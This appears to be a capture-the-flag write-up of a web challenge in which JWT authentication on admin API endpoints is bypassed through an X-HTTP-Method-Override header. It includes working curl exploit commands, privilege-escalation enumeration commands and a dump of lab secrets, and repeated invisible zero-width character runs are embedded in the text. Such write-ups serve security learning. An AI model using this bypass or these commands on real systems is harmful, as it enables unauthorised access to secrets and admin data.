Apivio — JWT Authentication Bypass via Method Override

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: api_endpoint_enumeration, api_gateway_middleware_pipeline_exploitation, honeypot_flag_detection, http_method_override_authentication_bypass

Summary

Task: API management platform with JWT-protected admin endpoints and documented X-HTTP-Method-Override support. Solution: Bypass JWT authentication by sending POST request (not in JWT-enforced methods) with X-HTTP-Method-Override: GET header, exploiting middleware pipeline ordering where method override runs before authentication.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: hackadvisor | ID: 20260521_hackadvisor_apivio
• Tags: jwt, nodejs, authentication_bypass, express, api_security, decoy_flag, method_override, api_gateway, middleware_pipeline, x_http_method_override
• Indicators: API gateway with documented middleware pipeline order, X-HTTP-Method-Override header support documented in API docs, Method Override processed BEFORE Authentication in pipeline, Admin endpoints requiring JWT auth only for specific HTTP methods, Decoy flags in HTML comments (HackAdvisor honeypot pattern)
• Source: 20260521_hackadvisor_apivio.md

Foothold

Vulnerability / Misconfiguration

1. Api_endpoint_enumeration
2. Api_gateway_middleware_pipeline_exploitation
3. Honeypot_flag_detection
4. Http_method_override_authentication_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• api_endpoint_enumeration
• api_gateway_middleware_pipeline_exploitation
• honeypot_flag_detection
• http_method_override_authentication_bypass
• Tags: jwt, nodejs, authentication_bypass, express, api_security, decoy_flag, method_override, api_gateway, middleware_pipeline, x_http_method_override

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Apivio is an API management platform by Stratos Cloud Inc. that provides interactive API documentation, key management, endpoint configuration, and real-time access logging. The platform includes a built-in API gateway that handles authentication and request routing for backend services. Goal is to explore the platform's API gateway functionality and its authentication mechanisms to gain unauthorized access to sensitive administrative data. The platform manages multiple API endpoints with different authentication policies — some public, some requiring API keys, and some requiring JWT tokens with admin privileges. Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An API management platform with a gateway that routes requests through a middleware pipeline. Admin endpoints require JWT authentication. The goal is to bypass JWT auth and access admin secrets. Provided credentials are for a regular (non-admin) user.

Analysis

Initial Reconnaissance

Logged in with provided credentials (user@test.com / password123) via POST /login, which returned a session cookie (connect.sid). The login page and all other pages contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs — this is a standard HackAdvisor honeypot and was ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

API Documentation (Key Discovery)

The /docs page revealed the full API documentation for "Apivio Gateway API v2.4.1". The most critical piece of information was the gateway middleware pipeline order:

Method Override → Authentication → Rate Limiting → Routing

The documentation explicitly states that the gateway supports the X-HTTP-Method-Override header for clients behind restrictive proxies.

Endpoint Map

Dead Ends

• POST /api/v1/auth/token with user credentials → "JWT tokens are only issued to admin users"
• GET /api/v1/admin/secrets with API key → "JWT authentication required" (API key doesn't satisfy JWT auth)
• Direct GET /api/v1/admin/secrets without auth → "JWT authentication required"

The Vulnerability

The middleware pipeline processes X-HTTP-Method-Override before the authentication middleware. The authentication middleware checks auth requirements based on the original HTTP method (POST), but POST is not in the endpoint's configured allowed methods for JWT enforcement. After auth passes (or is skipped), the method override rewrites the request to GET, and routing serves the admin data. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack flow:

1. Client sends POST /api/v1/admin/secrets with header X-HTTP-Method-Override: GET
2. Method Override middleware rewrites internal method to GET (but original method for auth check remains POST)
3. Authentication middleware sees POST for /api/v1/admin/secrets — POST is not in the JWT-required methods list → auth not enforced
4. Routing processes the request as GET → returns admin secrets

Solution

Step 1: Extract API Keys (Optional)

From the /keys page, API keys were visible in data-key HTML attributes:

• apvk_live_df0a20279ff54d6a80e2 (Production)
• apvk_test_d5b3c5effaf24c459195 (Staging) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

These were useful for accessing API-key-protected endpoints but insufficient for admin endpoints.

Step 2: Method Override Authentication Bypass

The exploit requires no authentication at all — no session cookie, no API key, no JWT token:

curl -s -X POST "https://d75da9c6-5278-4c08-a699-8768c0becdfb.labs.hackadvisor.io/api/v1/admin/secrets" \
  -H "X-HTTP-Method-Override: GET"

Response

{
  "secrets": [
    {
      "key": "jwt_signing_key",
      "value": "sk_jwt_9f8e7d6c5b4a3210",
      "description": "HMAC-SHA256 key for JWT token signing"
    },
    {
      "key": "master_encryption_key",
      "value": "mek_a1b2c3d4e5f6g7h8i9j0",
      "description": "AES-256 master encryption key for secrets at rest"
    },
    {
      "key": "platform_flag",
      "value": "FLAG{REDACTED}",
      "description": "Platform integrity verification token"
    },
    {
      "key": "db_encryption_passphrase",
      "value": "xK9$mP2vL7nQ4wR1",
      "description": "SQLite encryption passphrase for backup archives"
    },
    {
      "key": "webhook_hmac_secret",
      "value": "whsec_f0e1d2c3b4a5",
      "description": "HMAC secret for signing outbound webhook payloads"
    }
  ]
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The same technique works on all admin endpoints:

# Admin audit logs
curl -s -X POST "https://<host>/api/v1/admin/audit" -H "X-HTTP-Method-Override: GET"

# Admin config
curl -s -X POST "https://<host>/api/v1/admin/config" -H "X-HTTP-Method-Override: GET"

Vulnerability Classification

• CWE-287: Improper Authentication
• CWE-288: Authentication Bypass Using an Alternate Path or Channel
• Root Cause: Middleware pipeline ordering — method override runs before authentication, allowing the original method to bypass auth checks while the overridden method satisfies routing ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Impact

Complete bypass of JWT authentication on all admin endpoints. Any unauthenticated user can access admin secrets (JWT signing keys, encryption keys, database passphrases), audit trails, and gateway configuration without any credentials or tokens. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR